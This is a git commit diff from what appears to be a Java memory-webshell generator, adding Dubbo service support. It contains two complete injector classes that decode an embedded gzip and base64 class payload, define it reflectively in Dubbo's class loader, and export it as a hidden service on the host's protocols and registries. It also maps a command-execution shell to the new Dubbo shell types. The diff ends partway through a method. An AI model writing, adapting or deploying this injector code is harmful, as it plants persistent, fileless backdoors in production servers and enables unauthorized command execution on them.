feat: support Alibaba & Apache dubbo service

This commit is contained in:
ReaJason
2026-04-26 21:33:15 +08:00
parent 016d0d5bbe
commit d10323a054
35 changed files with 1715 additions and 409 deletions
+2
View File
@@ -39,6 +39,8 @@ dependencies {
implementation(libs.spring.webflux)
implementation(libs.tomcat.embed.core)
implementation(libs.reactor.netty.core)
implementation(libs.alibaba.dubbo)
implementation(libs.apache.dubbo)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna)
@@ -21,4 +21,5 @@ public class Server {
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2";
public static final String Dubbo = "Dubbo";
}
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
@@ -60,20 +63,36 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
}
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1")
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
@@ -47,6 +47,7 @@ public class ServerFactory {
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
@@ -162,6 +163,8 @@ public class ServerFactory {
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -50,4 +50,8 @@ public class ShellType {
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action";
public static final String DUBBO_SERVICE = "DubboService";
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
}
@@ -27,6 +27,12 @@ public class InjectorConfig {
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/**
* 注入访问的地址
*/
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class DubboServiceInterfaceHelperGenerator {
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
.redefine(ShellDubboService.class)
.name(interfaceName)
.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
@@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(CommonUtil.generateClassName());
.name(helperClassName);
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
@@ -0,0 +1,451 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import com.alibaba.dubbo.common.URL;
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
import com.alibaba.dubbo.common.utils.ClassHelper;
import com.alibaba.dubbo.config.*;
import com.alibaba.dubbo.config.model.ApplicationModel;
import com.alibaba.dubbo.config.model.ProviderModel;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.zip.GZIPInputStream;
public class AlibabaDubboServiceInjector {
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public AlibabaDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + stackTrace(e);
}
ok = true;
System.out.println(msg);
}
public String registerService() throws Exception {
String servicePath = normalizePath(getUrlPattern());
if (servicePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
return resolveServiceAddresses(servicePath);
}
Class<?> serviceInterface = loadClass(getHelperBase64String());
Class<?> serviceImpl = loadClass(getBase64String());
validateServiceTypes(serviceInterface, serviceImpl);
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
return resolveServiceAddresses(servicePath);
}
try {
serviceConfig.export();
return resolveServiceAddresses(servicePath);
} catch (RuntimeException e) {
dynamicServices.remove(servicePath, serviceConfig);
throw e;
}
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, classBytes);
return loadedClass;
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
// Defining the package is a convenience for older class loaders. The class can still load without it.
}
}
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
classPool.makeClass(new ByteArrayInputStream(classBytes));
} catch (Throwable ignored) {
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
}
}
private static byte[] decodeBase64(String value) throws Exception {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
}
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
GZIPInputStream inputStream = null;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, read);
}
return outputStream.toByteArray();
} finally {
if (inputStream != null) {
inputStream.close();
}
outputStream.close();
}
}
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
if (!serviceInterface.isInterface()) {
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
}
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
}
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
}
}
private Object instantiate(Class<?> serviceImpl) {
try {
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
serviceConfig.setInterface(serviceInterface);
serviceConfig.setRef(serviceImpl);
serviceConfig.setPath(servicePath);
ProviderConfig providerConfig = findProviderConfig();
if (providerConfig != null) {
serviceConfig.setProvider(providerConfig);
if (notEmpty(providerConfig.getVersion())) {
serviceConfig.setVersion(providerConfig.getVersion());
}
}
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
if (!protocolConfigs.isEmpty()) {
serviceConfig.setProtocols(protocolConfigs);
}
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
if (!registryConfigs.isEmpty()) {
serviceConfig.setRegistries(registryConfigs);
}
return serviceConfig;
}
private ServiceConfig<?> findRegisteredService(String servicePath) {
String normalizedPath = normalizePath(servicePath);
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
return serviceConfig;
}
}
return null;
}
private ProviderConfig findProviderConfig() {
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && serviceConfig.getProvider() != null) {
return serviceConfig.getProvider();
}
}
return null;
}
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
if (providerConfig != null && providerConfig.getApplication() != null) {
return providerConfig.getApplication();
}
for (ProviderModel providerModel : providerModels()) {
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
if (serviceConfig.getApplication() != null) {
return serviceConfig.getApplication();
}
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
return serviceConfig.getProvider().getApplication();
}
}
return null;
}
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
addProtocols(protocols, serviceConfig.getProtocols());
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
}
return uniqueProtocols(protocols);
}
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
registries = registries(serviceConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ProviderConfig serviceProvider = serviceConfig.getProvider();
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ApplicationConfig serviceApplication = serviceConfig.getApplication();
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
}
return new ArrayList<RegistryConfig>();
}
private String resolveServiceAddresses(String servicePath) {
String normalizedPath = normalizePath(servicePath);
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
if (serviceConfig == null) {
serviceConfig = findRegisteredService(normalizedPath);
}
if (serviceConfig == null) {
return normalizedPath;
}
List<URL> exportedUrls = serviceConfig.getExportedUrls();
if (exportedUrls != null && !exportedUrls.isEmpty()) {
return formatUrls(exportedUrls);
}
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
}
if (protocols.isEmpty()) {
return normalizedPath;
}
return formatProtocolAddresses(protocols, normalizedPath);
}
private String formatUrls(List<URL> urls) {
StringBuilder builder = new StringBuilder();
for (URL url : urls) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatUrl(url));
}
return builder.toString();
}
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
StringBuilder builder = new StringBuilder();
for (ProtocolConfig protocol : protocols) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatProtocolAddress(protocol, path));
}
return builder.toString();
}
private String formatUrl(URL url) {
String path = normalizePath(url.getPath());
int port = url.getPort();
return port > 0
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
}
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
Integer port = protocol.getPort();
return port != null && port > 0
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
}
private List<ProviderModel> providerModels() {
try {
return ApplicationModel.allProviderModels();
} catch (Throwable ignored) {
return new ArrayList<ProviderModel>();
}
}
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
if (source != null) {
target.addAll(source);
}
}
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
if (protocols != null) {
for (ProtocolConfig protocol : protocols) {
if (protocol != null) {
unique.put(protocolKey(protocol), protocol);
}
}
}
return new ArrayList<ProtocolConfig>(unique.values());
}
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
}
private String protocolKey(ProtocolConfig protocol) {
return String.valueOf(protocol.getName())
+ "|"
+ String.valueOf(protocol.getHost())
+ "|"
+ String.valueOf(protocol.getPort())
+ "|"
+ String.valueOf(protocol.getServer())
+ "|"
+ String.valueOf(protocol.getId());
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private boolean notEmpty(String value) {
return value != null && !value.isEmpty();
}
private String stackTrace(Throwable throwable) {
StringWriter writer = new StringWriter();
throwable.printStackTrace(new PrintWriter(writer));
return writer.toString();
}
}
@@ -0,0 +1,616 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import javassist.ClassPool;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.config.*;
import org.apache.dubbo.rpc.model.ApplicationModel;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
public class ApacheDubboServiceInjector {
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public ApacheDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + getErrorMessage(e);
}
ok = true;
System.out.println(msg);
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = resolveDubboClassLoader();
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
msg += "[" + classLoader.getClass().getName() + "] ";
return loadedClass;
}
private ClassLoader resolveDubboClassLoader() {
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
if (classLoader != null) {
return classLoader;
}
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
if (classLoader != null) {
return classLoader;
}
classLoader = ClassGenerator.class.getClassLoader();
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
}
private ClassLoader invokeDubboClassLoader(String className) {
try {
Class<?> helperClass = Class.forName(className);
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
} catch (Throwable ignored) {
return null;
}
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
}
}
public String toString() {
return msg;
}
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
try {
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
} catch (NoSuchMethodException e) {
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
}
} catch (Throwable ignored) {
}
insertByteArrayClassPath(className, classLoader, classBytes);
}
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
try {
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
Class<?> classPathClass = Class.forName("javassist.ClassPath");
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
} catch (Throwable ignored) {
}
}
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
}
}
public static byte[] decodeBase64(String str) throws Exception {
return Base64.getDecoder().decode(str);
}
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
byte[] bArr2 = new byte[4096];
int i;
while ((i = gZIPInputStream.read(bArr2)) > 0) {
byteArrayOutputStream.write(bArr2, 0, i);
}
return byteArrayOutputStream.toByteArray();
}
}
public String registerService() throws Exception {
String strNormalizePath = normalizePath(getUrlPattern());
if (strNormalizePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
Class<?> shell = loadClass(getHelperBase64String());
Class<?> shell2 = loadClass(getBase64String());
validateServiceTypes(shell, shell2);
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
return resolveServiceAddresses(strNormalizePath);
}
try {
serviceConfigCreateServiceConfig.export();
return resolveServiceAddresses(strNormalizePath);
} catch (RuntimeException e) {
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
throw e;
}
}
return resolveServiceAddresses(strNormalizePath);
}
private boolean isPathRegisteredInFramework(String str) {
try {
for (Object obj : getRegisteredServices()) {
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
private Collection<?> getRegisteredServices() {
try {
Object configManager = resolveConfigManager();
return toList(invokeNoArgs(configManager, "getServices"));
} catch (Exception e) {
try {
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
return toList(invokeNoArgs(objInvoke3, "getServices"));
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String normalizePath(String str) {
if (str == null) {
return "";
}
String strTrim = str.trim();
while (true) {
String str2 = strTrim;
if (!str2.startsWith("/")) {
return str2;
}
strTrim = str2.substring(1);
}
}
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
if (!cls.isInterface()) {
throw new IllegalArgumentException("not an interface: " + cls.getName());
}
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
}
if (!cls.isAssignableFrom(cls2)) {
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
}
}
private Object instantiate(Class<?> cls) {
try {
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
return declaredConstructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
Object configManager = resolveConfigManager();
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
serviceConfig.setInterface(cls);
serviceConfig.setRef(obj);
serviceConfig.setPath(str);
serviceConfig.setProxy("jdk");
if (providerConfigSanitizeProviderConfig != null) {
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
}
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
if (strResolveConfiguredVersion != null) {
serviceConfig.setVersion(strResolveConfiguredVersion);
}
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
return serviceConfig;
}
private ProviderConfig resolveDefaultProvider(Object obj) {
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
if (providerConfigCastProviderConfig != null) {
return providerConfigCastProviderConfig;
}
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
if (objInvokeNoArgs == null) {
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
}
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
}
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
if (providerConfig == null) {
return null;
}
List registries = providerConfig.getRegistries();
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
return providerConfig;
}
return null;
}
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
if (collection == null) {
return new ArrayList<>();
}
return collection.stream()
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
.collect(Collectors.toList());
}
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
if (!listFilterValidRegistries.isEmpty()) {
return listFilterValidRegistries;
}
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
}
private String resolveConfiguredVersion(Object obj) {
return stringValue(invokeNoArgs(obj, "getVersion"), null);
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
